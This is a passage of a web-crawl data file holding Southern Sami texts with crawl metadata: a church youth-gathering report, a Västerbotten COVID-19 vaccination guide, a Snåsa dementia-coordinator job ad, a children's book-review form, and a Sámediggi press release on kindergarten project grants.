Viehkiebaakoe Terminologije Bovtse Bovtsh","id":"","dump":"CC-MAIN-2021-31","url":"https:\/\/ovttas.no\/sma\/node\/19246","date":"2021-07-26T14:39:17Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-31\/segments\/1627046152129.33\/warc\/CC-MAIN-20210726120442-20210726150442-00624.warc.gz","language":"sma","language_score":0.9983792901,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9983792901039124}","num_words":52,"character_repetition_ratio":0.087,"word_repetition_ratio":0.0,"special_characters_ratio":0.159,"stopwords_ratio":0.096,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Skylleme-maanah Snåasesne tjåanghkenin\nSkrevet den 25.02.14\nSkylleme-maanah Snåasesne tjåanghkeninDaan tjaktjen skylleme-maanah voestes aejkien Snåasesne gaavnesjin. Golme noere viehkiehtæjjah aaj desnie. Gosse hïelje varki vaasa, dellie badth fuehpie gaajhkem darjodh!\nNjieljie skylleme-maanah, golme viehkiehtæjjah jïh golme barkijh Saemien åålmegisnie Snåasesne gaavnesjin. Dellie voestes aejkien gaavnesjin. Mïetsken, dellie edtjieh Plassjesne skylledh.\nJupmel-Aehtjien gieriesvoetine\nDah skylleme-maannah væjkele jïh aavoedin gosse ektesne barkin. Stoere aamhtesi bïjre soptsestin, guktie Jupmel-Aehtjie fïereguhtem gieriesvoetine sjugniedamme. Fïereguhtem daajra jïh eahtsa. Guktie dellie ussjedidh jïh dåemiedidh gosse ektesne? Maam darjodh gosse geerve biejjieh båetieh? Idtjin buektehth gaajhkide vaestiedasside gaavnedh.\nBøla-bovtsem vuartasjin\nGosse numhtie barkeminie, dellie hijven ånnetje eejehtalledh. Laavadahken dellie Bølan gåajkoe vöölkin naa båeries bovtsem vuartasjidh. Desnie gie-akt bovtsem spaenjien nille tjaalehtjamme. Gellie guvvieh desnie, Snåasejaevrien jilliebealesne, gaavnin: ledtiem, tjoejkehtæjjam jïh duvriem.\nLustestalledh\nFïerhten iehkeden dellie lustestallin. Voestes iehkeden åadtjoejin pryövedh goengerinie gaahtjedh, dovne aaksjoem daarhvese hajkedidh. Mubpien iehkeden dellie laavloejin. Govlimh man væjkele dah skylleme-maanah dam \"Singstar\"em spealadidh! Dah noerh gïeh viehkine, laavanjassh skylleme-maanide dorjeme. Föörhkedin gosse laavanjasside vööjnin, dah edtjin ryöknedh jïh algebrajine barkedh! Destie hov åejjieh sæjloejin. Dellie jis musigkem goltelin gosse guelpesne lïegkestin. Dellie gujht nahkeren sjïdtin. Veedtsin åarajidh.\nTeekste: Meerke Krihke Leine Bientie","id":"","dump":"CC-MAIN-2021-39","url":"http:\/\/www.samiskmenighet.no\/event\/doLink\/famid\/391090","date":"2021-09-24T00:11:05Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-39\/segments\/1631780057479.26\/warc\/CC-MAIN-20210923225758-20210924015758-00342.warc.gz","language":"sma","language_score":0.9999859333,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.999985933303833}","num_words":189,"character_repetition_ratio":0.07,"word_repetition_ratio":0.0,"special_characters_ratio":0.146,"stopwords_ratio":0.048,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Dïhte dov regiovne mij dïedtem vaksinasjovnen åvteste åtna. Veeljh regiovnem bijjemes sæjrosne guktie vielie bïevnesh åadtjoeh mij faamosne gusnie datne leah.\nDatne ih daarpesjh maeksedh vaksijnasjovnen åvteste covid-19:n vööste.\nDatne jïjtje veeljh jis edtjh vaksineeredh.\nDængkoeh tïjjem gosse vaksineeredh\nGaajhkide almetjidie gïeh 16 jaepieh jallh båarasommes vaksinasjovnem faalehte. Datne ih daarpesjh sveerjen otnjege årrodh juktie vaksijnem åadtjodh.\nDatnem juvnehte vaksineeredh læjhkan jis covid-19:m utnih.\nGåessie maahtah Västerbottenisnie vaksineeredh?\nGaajhkesh dovnesh geah jaepien 2005 jallh aarebi reakasovveme maehtieh vaksinasjovnem åadtjodh jïh tïjjem dængkodh.\nDatne ih daarpesjh sveerjen otnjege årrodh guktie vaksijnem åadtjodh. Aaj almetjidie mah Sveerjesne hööltestieh, asyjlem ohtsedieh vuj Sveerjesne luhpehts vaksinasjovnem faalehte.\nNaemhtie darjoeh gosse tïjjem dængkoeh\nDatne maahtah vaksineeredh vyljehks healsoejarngesne Västerbottenen leenesne jallh vaksinasjovnedåastovisnie Upmijisnie. Naan sijjine maahtah aaj Vaccina:sne vaksineeredh. Dïhte sïelte mij covid-19:n vööste vaksineeredh mij laavenjassem åådtjeme Region Västerbottenistie.\nDatne dov göökte veahkah åadtjoeh seamma healsoejarngesne jallh vaksinasjovnedåastovisnie. Datne jïjtje voestes veahkan tïjjem dængkoeh. Man gellie tïjjh gååvnesieh jeerehte man jïjnjh vaksijnh Region Västerbotten åådtje fïerhten våhkoen. Dov mubpie veahkan tïjjem åadtjoeh 4-7 våhkoej mænngan dov voestes veahkeste. Hoksebarkijh dutnjien dov mubpien veahkan tïjjem vedtieh gosse voestes veahkan åadtjoeh.\nDatne tïjjem dængkoeh 1177.se:n sïjse loggedh e-legitimasjovnine, Vaccina:n webbsijjesne jallh vyljehke healsoejarngem ringkedh. Jis ij leah nuepiem tïjjem dængkodh gaskeviermesne vuj ringkedh maahtah healsoejarngesne daam darjodh.\nIh maehtieh 1177:n gåajkoe ringkedh jïh tïjjem dængkodh.\nJis dov ij leah sveerjen persovnenummere\nDatne maahtah vaksineeredh vaallah dov ij leah sveerjen persovnenummere. Datne tïjjem dængkoeh healsoejarngesne.\nVaeltieh såemies såarhte legitimasjovnem meatan goh LMA-kåarhte vuj EU-kåarhte. Jis dov lea ektiedimmienummere, vaeltieh daam aaj meatan.\nDatne annjebodts nummerem åadtjoeh skïemtjehokseste maam tjoerh spååredh goske mubpie vaksijneveahkam åadtjoeh. Jis dov lea reservenummere maam aarebi hokseste åådtjeme maahtah daam nuhtjedh. Nummere ajve skïemtjehoksesne nuhtjh jïh eah mubpieh byjjesfaamojste maehtieh daam goerehtidh vuj nuhtjedh.\nTïjjem dængkodh gaskeviermesne\nGosse datne 1177.se:n sïjse loggeme jïh edtjh tïjjem dængkodh dellie bïevnesh sveerjengïelesne. Jis ih maehtieh sveerjengïelesne lohkedh, maahtah gihtjedh mubpiem maam damth datnem viehkehte tïjjem dængkodh gaskeviermesne. Maahtah aaj healsoejarngese ringkedh jïh tïjjem dængkodh.\nNaemhtie darjoeh gosse tïjjem 1177.se:sne dængkoeh:\n- Ohtsedh sæjroem vaccinationsbokning regionvasterbotten.se (sæjroe sveerjengïelesne). Desnie maahtah bijjievuajnoem vuejnedh gåaroes tïjjh gaajhkene healsoejarngine jïh vaksinasjovnedåastovinie.\n- Fïerhten healsoejarngen jallh vaksinasjovnedåastoven gåaroes tïjjh gååvnesieh daatojne jïh man gellie tïjjh fïerhten biejjien. Gåaroes tïjji låhkoem kruanasjamme.\n- Nuhtjh svaalhtesem \"Boka tid för vaccination mot covid-19\" healsoejarngese vuj vaksinasjovnedåastovasse maam veeljh.\n- Loggh sïjse e-legitimasjovnine.\n- Vaestedh goerem gusnie naan gyhtjelassh. Gyhtjelassh sveerjengïelesne.\n- Veeljh \"Covid-19-vaccination dos 1\".\n- Veeljh gåaroes tïjjem.\nIh maehtieh tïjjem Vaccina:sne dængkodh jis 1177.se:se sïjse loggedh. Sæjrosne vaccinationsbokning.regionvasterbotten.se bïevnesh gååvnesieh gusnie Vaccina leah. Aaj svaalhtesh gååvnesieh gusnie maahtah tïjjem dængkodh.\nIj naan tïjjh gååvnesh gosse voejhkelh tïjjem dængkodh gaskeviermesne?\nJis ij naan gåaroes tïjjh gååvnesh gosse edtjh dam dængkodh maahtah viht voejhkelidh måedtie biejjiej mænngan. Jeenjebe tïjjh gujht båetieh.\nMaahtah aaj voejhkelidh vaksinasjovnedåastoven jallh jeatjah healsoejarngen tjïrrh dængkodh.\nÅadtjoeh fiejliedïjrem gosse voejhkelh dængkodh?\nJis åadtjoeh fiejliedïjrem gosse edtjh tïjjem dængkodh dellie kaanne jïjnjh almetjh voejhkelieh seamma tïjjem dængkoeh. Voejhkelh dellie jeatjah tïjjem veeljh.\nTïjjem dængkodh gosse healsoejarngese ringkh\nDatne maahtah tïjjem dængkodh jis ringkh vyljehke healsoejarngese. Ij daarpesjh healsoejarngem maam daamhtaj nuhtjh. Healsoejarnge maahtah aaj datnem viehkehte tïjjem dængkodh vaksinasjovnedåastovisnie. Ih maehtieh 1177:se ringkedh jïh tïjjem dængkodh.\nGosse ringkh maahtah sveerjengïelem vuj englaanten gïelem soptsestidh. Gihtjh giem akt maam damth jis ih naan dejstie gïelijste soptsesth.\nBarkijh healsoejarngesne eah maehtieh datnem viehkiehtidh tïjjem dængkodh Vaccinan luvnie.\nDængkomem jeatjahtehtedh\nVihkeles datne båatah dov dængkome tïjjese dan gaavhtan vaksijne dutnjien mij dængkome.\nMohte jis dov covid-19:n symptomh ih edtjh vaksineeredh. Dellie edtjh dov tïjjem jeatjahtehtedh jïh dan sijjeste pryövenassem vedtedh.\nBïevnesh guktie pryövenassem vadtah gååvnesieh 1177.se:sne.\nHealsoejarngh jïh vaksinasjovnedåastovh gaertjiedamme nuepieh utnieh orre tïjjem faaledh mubpie veahkese. Dïhte dan gaavhtan maahta gellie våhkoeh vaesieh åvteli orre tïjjem åadtjoeh.\nJis tïjjem dængkome gaskeviermesne\n1177.se:sen sïjse loggh jïh diedtesth på \"Se bokade tider\". Maahtah aaj svaalhtesem nuhtjedh \"Av\/omboka tid för vaccination mot covid-19\" sæjrosne Vaccination mot covid-19 i Västerbotten dåastovisnie gusnie tïjjem dængkoejih.\nIh maehtieh mubpie veahkan tïjjem jeatjahtehtedh gaskeviermesne. Jis skïemtjedh jïh tjoerh dov tïjjem jeatjahtehtedh edtjh healsoejarngese ringkedh jïh orre tïjjem åadtjodh. Seamma dutnjien gie tïjjem vaksinasjovnedåastovisnie åådtjeme.\nDatne gie vaksijnem Vaccina:ste åådtjeme tjoeverh jïjtje mubpie vaksinasjovne-tïjjem dængkodh. Vielie bïevnesh åadtjoeh dov voestes veahkan mænngan.\nJis tïjjem telefonine dængkome\nDatne gie dov tïjjem dængkome telefonine edtjh healsoejarngese ringkedh jïh daam jeatjahtehtedh.\nIh maehtieh 1177 Vårdguiden gåajkoe ringkedh jis sïjhth tïjjem jeatjahtehtedh.\nJis ih båetieh dov dængkome tïjjese jallh dam fer seente jeatjahtahtah\nJis ih båetieh dov dængkome tïjjese tjoerh maaksoem maeksedh. Seamma jis tïjjem jeatjahtahtah unnebe 24 tæjmoeh dan åvteli. Maaksoe lea 250 kråvnah.\nVihkeles mubpie vaksijneveahkan bïjre\nDatne gie Västerbottenisnie vaksineerh åadtjoeh dov göökte vaksijneveahkah seamma healsoejarngesne jallh vaksijnedåastovisnie. Sjïere tsiehkesne maahtah mubpie veahkam åadtjodh mubpie sijjesne. Vihkeles gåabpatjahkh veahkah seamma vaksijneleverantööreste båetieh.\nJis ussjedh Västerbottenistie juhtedh jeatjah regionese Sveerjesne åvteli mubpie veahkam åådtjeme dellie tjoerh jïjtje goerehtidh mah vaksinasjovnenuepieh gååvnesieh mubpie regionesne. Datne tjoerh aaj jïjtje daejredh mij vaksijnide datne åadtjoejih voestes veahka.\nJis annjebodts Sveerjesne årroeh jïh soejkesjh gåatan vuelkedh åvteli mubpie veahkam åådtjeme byöroeh goerehtidh jis nuepie gååvnese vaksijnem åadtjodh dejnie laantesne gåabph vualkah. Goerehth dam åvteli voestes veahka vaaltah.\nUssjedh dejtie vaksinasjovnen åvteli\n- Vaeltieh dov legitimasjovnem meatan jïh healsoedeaklarsjovnem maam leah dievhteme. Datne maahtah aaj healsoedeklarasjovnem åadtjodh maam maahtah dievhtedh gåessie dov vaksinasjovne-tjåanghkose båatah.\n- Jis datne leah noerebe goh 18 jaepien båeries jïh åtnah geerve njaalmeldh vuj tjaeleldh bïevnesh guarkedh, dellie daarpesjh tjaatsegem meatan vaeltedh mesnie dov eejhtegh sïjse tjaeleme datne luehpiehtimmiem åadtjome vaksijnasjovnem vaeltedh. Tjaatsege sveerjengïelesne jïh gååvnese 1177.se-sæjrosne.\n- Utnieh vaarjoeh mah aelhkieslaakan darjoeh dov bijjiegïetem jaksedh gosse vaksineeredh. Vuesiehtimmien gaavhtan åenehkssissehts tråajja.\n- Aellieh dåastovasse båetieh jis dov covid-19:n symptomh. Dellie dov tïjjem jeatjahtahtah.\n- Båetieh aaremosth luhkie minuhth åvteli dængkome tïjjen guktie ij dan soe jïjnjh almetjh desnie sjïdth. Ussjedh gåhkoem hööltedh mubpide gosse dov våaroem vuartah.\n- Barkije gïem råakh daaroste jïh englaanten gïelem soptseste. Jis healsoejarngesne vaksineerh dov nuepiem åtnah toelhkem åadtjodh. Dellie tjoerh daam jiehtedh barkijidie gosse tïjjem dængkoeh.\n- Gaajhkh hoksebarkijh sjaavohthvoetedïedtem utnieh. Dïhte sæjhta jiehtedh dah eah åadtjoeh dov hoksen jïh båehtjierdimmien bïjre soptsestidh almetjasse hoksen ålkolen. Daate faamosne jis dov lea sveerjen otnjege vuj ij.\n- Nuhtjh dåhkasjahteme njaelmieskuahpam dovne gosse vaksinasjovnesne mïnnh jïh desnie leah. Jis dåeriedæjjam daarpesjh dellie dïhte aaj tjoevere njaelmieskuahpam nuhtjedh.\nVaksinasjovnese vuelkedh\nDatne ih åadtjoeh skïemtjefeelemem jallh dåarjoem dov feelemen åvteste gosse edtjh vaksijnem åadtjodh covid-19:n vööste. Jis dov feelemedïenesje maahtah dam nuhtjedh. Maahtah feelemem krïevedh lïhkemes vaksinasjovnesæjjan jis ih maehtieh dohkoe jïjtje vuelkedh jïh daah sjiehtieh dutnjien:\n- Ih maehtieh kollektijvinie vuelkedh ij nuekies beetnegh\n- Dov ij leah naaken gie maahta datnem viehkiehtidh dov feeleminie.\nBïeljelh dellie beställningscentralen för serviceresor (dængkomejarnge dïenesjefeelemasse) telefone 0771-25 10 20 vuarjasjimmien gaavhtan. Barkijh sveerjengïelesne vaestiedieh, mohte dah maehtieh englaanten gïelem soptsestidh jis daarpesjh.\nLohkh vielie mah njoelkedassh faamosne jis edtjh maaksoem feelemen åvteste åadtjodh sæjrosne Sjukresor i Västerbotten (bïevnesh sveerjengïelesne).\nNaemhtie vaksineeredh\nDatne vaksijnem stratjkine gïetese åadtjoeh. Daarpesjh göökte stratjkh åadtjoeh. Dellie åadtjoeh dejtie gööktene aejkien.\nDatne åadtjoeh desnie 15 minuhth årrodh gosse dov stratjkem åådtjeme. Dïhte dan gaavhtan datnine hijven.\nGöökte våhkoej minngemes stratjken mænngan dov lea hijven vaarjelimmiem covid-19:n vööste.\nNaaken gie nåake immunevaarjelimmiem åtna maahta lissievaksijnem daarpesje. Dov dåaktere nænnoste jis daam daarpesjh.\nDatne ih maehtieh veeljedh mij vaksijnide datne åadtjoeh.\nDov lea reakta bïevnesh hoksebarkijistie åadtjodh gosse vaksineeredh. Gihtjh jis dov naan gyhtjelassh.\nGuktie mannine mænngan?\nKaanne dov gïete baektjede, åejjieh saejriedieh jïh sæjloes sjïdth voestes dygnem vaksinasjovnen mænngan. Datne maahtah aaj gåalodh, vaejliem åadtjodh jallh lïhtsh jïh åedtjieh löökieh. Dïhte lea maam gohtje lissiedåårrese.\nDah lijnies vaejvieh jïh naan biejjiej mænngan dah buaranieh.\nÅrroeh gåetesne jis dov leah symptomh.\nJis eah symptomh buaranieh dygnen mietie daarpesjh pryövenassem vedtedh.\nOvsïejhme lissiedåårresh vaksinasjovneste\nGellie millijovnh almetjh leah covid-19:n vööste vaksineereme. Naan almetjh leah itjmies lissiedåårresh åådtjeme vaksinasjovnen mænngan. Dïhte dan ovsïejhme. Dïhte stuerebe vaahra itjmies skïemtjedh covid-19:n skïemtjelassesne.\nLohkh vielie Folkhälsomyndigheten webbesijjesne.\nReektehth lissiedåårresh vaksijneste\nDatne maahtah åejvieladtjese Läkemedelsverket reektehtidh jis datne sovmh vaejvieh vaksijneste sjidtieh. Sæjroe sveerjen gïelesne.\nAaj hoksebarkijh reektehtieh jis dah suvmieh lissiedåårresh vaksijneste sjidtieh.\nBïevnesh sovmeme lissiedåårresi bïjre tjåanghkenieh. Dan mænngan goerehtieh jis dah leah vaksijneste.\nJis nåajsan jïh vaksinasjovne\nDatne mij nåajsan maahtah itjmies skiemtjine sjïdtedh. Guktie datnem jïh maanam vaarjelidh raereste vaksinasjovnem. Gellie nåajsan nyjsenh leah vaksijnem covid-19:n vööste åådtjeme veartanisnie. Dïhte ij leah vaahreles maanese tjåejjesne.\nSoptestellieh dov tsegkietnine jis dov naan gyhtjelassh.\nMaana jïh vaksinasjovne\nDatne gie båarasåbpoe 16 jaepeste vuj 16 jaepien illh daan jaepien vaksinasjovnem faalehte. Maanah 12 jaepien båeries vuj båarasåbpoe jïh itjmies skïemtjelassem utnieh maehtieh aaj vaksijnem åadtjodh. Dïhte lea vuesiehtimmien gaavhtan sjïere itjmies gåbloeskïemtjelassh.\nSoptsestellieh dov dåaktarinie jis ussjedh mij faamosne.\nDatne mij aarebi allergijen reaksjovnem åådtjeme\nSoptsestellieh dåaktarinie jis datne aarebi allergijen reaksjovnem åådtjeme guktie tjoerih hoksem ohtsedidh seamma biejjien. Dah maehtieh årrodh vaksinasjovneste, daalhkesistie vuj maam akt maam byöpmedih.\nLea vaksijne vihties?\nVaksijne covid-19:n vööste lea vååksjeme seamma buerie vuekine goh mubpieh vaksijnh. Gellie almetjeh leah vaksijnem åådtjeme jïh dotkijh leah dah effekth goerehtamme. Ennje vaksijnem goerehtieh.\nDotkijh gellie laantijste lea laavenjostome vaksijnem evtiedamme. Gellie laanth jïh sïelth abpe veartanisnie leah jïjnjh beetnegh maakseme. Dan gaavhtan dan varki vaksijnem evtiedamme.\nSæjrosne Så fungerar vaccin maahtah lohkedh jïh filmh vuejnedh vaksijnen bïjre. Tekste jïh filmh leah sveerjengïelesne.\nJåerhkieh raerieh dåeriedidh guktie covid-19:n geerjehtimmiem vaenede\nDatne edtjh åejvieladtji raeride dåeriedidh aaj mænngan datne vaksijnesjovnem åådtjeme.\nDïhte onne vaahra datne skïemtjelassem åadtjoeh læjhkan datne leah vaksineereme.\nEah daejrieh man guhkiem vaksijne vaarjele.","id":"","dump":"CC-MAIN-2021-43","url":"https:\/\/www.1177.se\/sma-se\/Vasterbotten\/other-languages\/other-languages\/covid-19\/vaccin-sydsamiska\/","date":"2021-10-19T15:32:47Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-43\/segments\/1634323585270.40\/warc\/CC-MAIN-20211019140046-20211019170046-00687.warc.gz","language":"sma","language_score":1.0000009537,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.0000009536743164}","num_words":1511,"character_repetition_ratio":0.085,"word_repetition_ratio":0.0,"special_characters_ratio":0.148,"stopwords_ratio":0.058,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"40 % barkoe gååvnese goh demensekoordinatovre Snåasen tjïeltesne\nMijjieh aktem jallh jienebh almetjh ohtsebe mah maehtieh funksjovnem demensekoordinatovre tjïeltesne utnedh. Demensekoordinatove edtja ektiedimmine årrodh gaskem skïemtjijh mah leah demensesalkehtimmesne jallh demensediagnovsem utnieh, lïhke fuelhkie jïh viehkieabparaate, jïh koordinatovrine årrodh tjïelten mojhtesedåahkan. Jis göökte almetjh sijhtieh vierhtiem juekedh, jïh laavenjassen bïjre laavenjostedh, mijjieh nuepiem vuejnebe dam buektiehtidh.\nBarkoelaavenjassh:\n- koordinatovrine årrodh tjïelten mojhtesedåahkan\n- govlehtæjjine årrodh skïemtjijidie, lïhke fualhkan jïh instaanside mejgujmie laavenjostoe\n- lïhkefuelhkieskuvlem öörnedh laavenjostosne mubpiejgujmie mojhtesedåehkesne\n- tjïelten faalenassem åehpies darjodh årroejidie\n- hoksedh IS (individuelle soejkesje) jaabnan vuarjasjamme sjædta\n- giehtjedimmielæstoeh darjodh juktie bæjjese fulkedh, jïh dejtie jaabnan gorredidh\n- njoelkedassh jïh prosedyjrh darjodh kognitijve vaanoen faagedåehkine ektine\nKvalifikasjovnh:\n- Væjkele laavenjostedh jïh gaskesadtedh\n- Jååhkesjamme healsoefaagebarkije, skïemtjesåjhtere jallh vaarjelimmiesåjhtere jallh jeatjah sjiehteles healsoefaageles ööhpehtimmie\n- Jåarhkeööhpehtimmie jallh dååjrehtimmie geriatrijen jïh demensehoksen sisnjelen lea vaajteles\nSïjhtebe leavloem bïejedh persovneles sjiehtelesvoetese jïh ïedtje barkose.\nBarkoe gååvnese daan biejjien raejeste jïh ryöhkoe bielie jaepiem, dejnie nuepine dam guhkiedidh jïh don mænngan ihkuve barkoe.\nVielie bïevnesh barkoen bïjre åadtjoeh jis soptsesth ektievoeten åvtehkinie sujhteme jïh hokse Ragnhild Moum Agle tell. 995 83 727\nOhtsememierie 12.10.21\n________________________________________________________________\nLedig 40 % stilling som demenskoordinator i Snåsa kommune\nVi lyser ut etter en eller flere personer som kan inneha funksjonen som demenskoordinator i kommunen. Demenskoordinator skal være et bindeledd mellom pasienter som utredes for eller har diagnosen demens, pårørende og hjelpeapparatet og være en koordinator for kommunens hukommelsesteam. Hvis to ønsker å dele på ressursen, og samarbeide om oppgaven, tenker vi det er mulig å finne en løsning på dette.\nArbeidsoppgaver:\n- være koordinator for kommunens hukommelsesteam\n- være kontaktperson for pasienter, pårørende og samarbeidende instanser\n- organisere pårørendeskole i samarbeid med resten av hukommelsesteamet\n- gjøre kommunens tilbud kjent for innbyggerne\n- sørge for at IP blir jevnlig vurdert\n- lage sjekklister for oppfølging, og holde disse vedlike\n- lage retningslinjer og prosedyrer sammen med faggruppa for kognitiv svikt\nKvalifikasjoner:\n- Gode samarbeids- og kommunikasjonsevner\n- Godkjent helsefagarbeider, sykepleier eller vernepleier eller annen relevant helsefaglig utdanning\n- Videreutdanning eller erfaring innenfor geriatri og demensomsorg er ønskelig\nPersonlig egnethet og engasjement for oppdraget vil bli vektlagt.\nStillingen er ledig fra dags dato, og er et halvt års engasjement med mulighet for forlengelse, og etter hvert fast.\nFor nærmere informasjon om stillingen kontakt enhetsleder pleie og omsorg Ragnhild Moum Agle tlf 995 83 727\nSøknadsfrist 12.10.21","id":"","dump":"CC-MAIN-2021-43","url":"https:\/\/www.snasa.kommune.no\/tjenester\/ledige-stillinger\/ledig-40-stilling-som-demenskoordinator-i-snasa-kommune.11778.aspx","date":"2021-10-17T05:25:41Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-43\/segments\/1634323585121.30\/warc\/CC-MAIN-20211017052025-20211017082025-00145.warc.gz","language":"sma","language_score":0.9602845907,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9602845907211304, \"nob_Latn_score\": 0.024591287598013878, \"sme_Latn_score\": 0.014060495421290398}","num_words":359,"character_repetition_ratio":0.068,"word_repetition_ratio":0.0,"special_characters_ratio":0.175,"stopwords_ratio":0.05,"flagged_words_ratio":0.0,"lang_id_score":0.97,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Gærjasaernieh tjaeledh Ih datne tjaangeme jïh dellie nommehth gosse maam joem seedteme. Jis meatan vuerpesne sïjhth årrodh dellie tjoerh akten kontose tjaangedh. Dov tjaalege jeatjah byjjebasse åtnoenommine vuesiehtåvva: ReWoJ M Tjaangedh Jallh Åtnoekonto darjoeh Åtnoekonto darjoeh Gærjan tihtele * Tjaelije * Gærja sjeahta: -- Veeljh -- 0-3 3-6 6-9 9-12 12-15 15+ Tjaelieh man bïjre gærja lea * Maam gærjan bïjre tuhtjih? Veeljh gïelem Svenska Meänkieli Julevsámegiella (Lulesamiska) Åarjelsaemiengïele (Sydsamiska) Davvisámegiella (Nordsamiska) Bidumsámegiella (Pitesamiska) Ubmejesámiengiälla (Umesamiska) Sjangere Luste jïh skaadtjoehsoptsesh Gieltegs jïh heamture Ïskeres jïh voejkenes Gieriesvoete jïh vïenesvoete Åavtoe jïh murrie Geerve jïh dagkerh Sporte Saatnan Åvtesne Aarkebeajjetje Vaajesh Dyjrh Vöörhkh gærjasaerniem Seedth gærjasaerniem","id":"","dump":"CC-MAIN-2021-49","url":"https:\/\/www.polarbibblo.se\/sma-se\/tjaeledh\/gaerjasaernieh-tjaeledh\/","date":"2021-12-09T02:00:47Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-49\/segments\/1637964363641.20\/warc\/CC-MAIN-20211209000407-20211209030407-00595.warc.gz","language":"sma","language_score":0.9996498823,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"sma_Latn_score\": 0.9996498823165894}","num_words":94,"character_repetition_ratio":0.062,"word_repetition_ratio":0.0,"special_characters_ratio":0.173,"stopwords_ratio":0.106,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"– Daan jaepien jienebh ohtsemh båateme goh aarebi jaepieh, naakede mij lea joekoen hijven. Dagke lea Saemiedigkien evtiedimmieprosjekten gaavhtan SáMOS, jallh jienebh sijhtieh saemien faalenassem maanagïertine faalehtidh, saemiedigkieraerie Mikkel Eskil Mikkelsen (NSR) jeahta.\nDaan jaapetje prioriteeremh dåarjoeöörnegisnie Dåarjoe prosjektide jïh evtiedimmiebarkose maanagïertine leah gïeleevtiedimmieprosjekth, voenges evtiedimmieprosjekth mah saemien aerpievuekien barkoem jarngesne utnieh, tseegkeme orre saemiengïeleldh maanagïertefaalenassijste jïh evtiedimmie pilovtemaanagïertijste mah leah veeljesovveme meatan årrodh maanagïerteprosjektesne SáMOS (Saemien maanah orre ektietjiehtjielinie).\nDaan jaapetje vierhtieh vadtasovveme 10 gïeleevtiedimmieprosjektide, 13 voenges evtiedimmieprosjektide mah saemien aerpievuekien barkoem jarngesne utnieh jïh njieljie prosjektide mah leah evtiedimmien bïjre pilovtemaanagïertijste.\nGïehtjh joekede prosjeekth jïh evtiedimmiebarkojde maanajgïertide daan jaepien (PDF, 142 kB)\nGïeleevtiedimmieprosjekth\nMikkel Eskil Mikkelsen\nÁrvu\/Sámediggi\nDej gaskem mah vierhtieh prioriteeremen sisnjelen gïeleevtiedimmieprosjekth åadtjoeh lea Furua maanagïerte Altesne, mij 125 500 kråvnah åådtje ovmessie råajvarimmide mah edtjieh saemien gïelem jïh kultuvrem eevtjedh. Maanah edtjieh såemies saemien baakoeh jïh aerpievuekien saemien stååkedimmieh lïeredh, jïh meatan årrodh bovtseleekedimmesne jïh gosse miesieh mïerhkesjidh. Akte jeatjah maanagïerte Altesne, Holmen gaertene- jïh eatnememaanagïerte, 55 000 kråvnah åådtje juktie maanaj stååkedimmiem ræjhkoesåbpoe darjodh ïebnigujmie jïh dååjresigujmie mah saemien gïelem jïh kultuvrem eevtjieh.\nGïeleprosjekti sisnjeli Ferista ålkoemaanagïerte Tråantesne 100 000 kråvnah prosjektese saemien gïelekuvsje åådtje, gusnie sijhtieh nuepiem vedtedh saemien maanaj eejhtegidie Tråanten tjïeltesne saemien lïeredh sijjen maanajgujmie ektine. Daate edtja iehkedsbiejjiekuvsjine årrodh eejhtegidie noerhtesaemien, åarjelsaemien jïh julevsaemien gïelesne.\n– Jis jieliejimmie saemien gïeleste Tråantesne edtja lyhkesidh dellie daerpies eejhtegh aaj nuepiem åadtjoeh gïelem lïeredh, Mikkelsen jeahta.\nVoenges evtiedimmieprosjekth gusnie saemien aerpievuekien barkoem jarngesne åtna\nPrioriteeremen sisnjelen voenges evtiedimmieprosjekth gusnie saemien aerpievuekien barkoe lea jarngesne, Rishaugen maanagïerte Altesne 128 000 kråvnah åådtje juktie saemien kultuvrem jïh gïeledååjresh nænnoestidh. Dah edtjieh gaskem jeatjah giedtesne mïnnedh jïh meatan årrodh leekedimmesne\nEspira maanagïerte Skierdesne 75 000 kråvnah åådtje saemien kultuvrebievniemasse jïh gïeleskreejremasse smaave maanide. Prosjekten ulmie lea hoksedh maanah jïh fuelhkieh åadtjoeh sijjen saemien gïelem jïh kultuvrem evtiedidh.\n– Daate maanagïerte ij leah aarebi ohtseme, jïh hijven vuejnedh dah sijhtieh saemien gïele jïh kultuvre edtjieh bieline årrodh maanagïerten aarkebiejjeste, Mikkelsen jeahta.\nOrre ohtsemeboelhke jaapan 2022 aalka goevten aalkoelisnie.\n– Manne haastam maanagïerth mah saemiengïeleldh faalenassem vedtieh, jïh maanagïerth mah sijhtieh faalenassem vedtedh mij saemien gïele- jïh kultuvremaahtoem saemiengïeleldh maanide eevtjieh, ohtsedh, Mikkelsen jeahta.\nJis gihtjehtimmie jallh gyhtjelassh, gaskesadth saemiedigkieraeriem Mikkel Eskil Mikkelsen (NSR), tlf. +47 917 42 161, firstname.lastname@example.org","id":"","dump":"CC-MAIN-2021-49","url":"https:\/\/sametinget.no\/saernieh\/millijovnh-saemien-maanagierteprosjektide.17970.aspx","date":"2021-11-28T20:53:06Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-49\/segments\/1637964358591.95\/warc\/CC-MAIN-20211128194436-20211128224436-00205.warc.gz","language":"sma","language_score":0.9999991655,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999991655349731}","num_words":350,"character_repetition_ratio":0.101,"word_repetition_ratio":0.0,"special_characters_ratio":0.142,"stopwords_ratio":0.174,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} 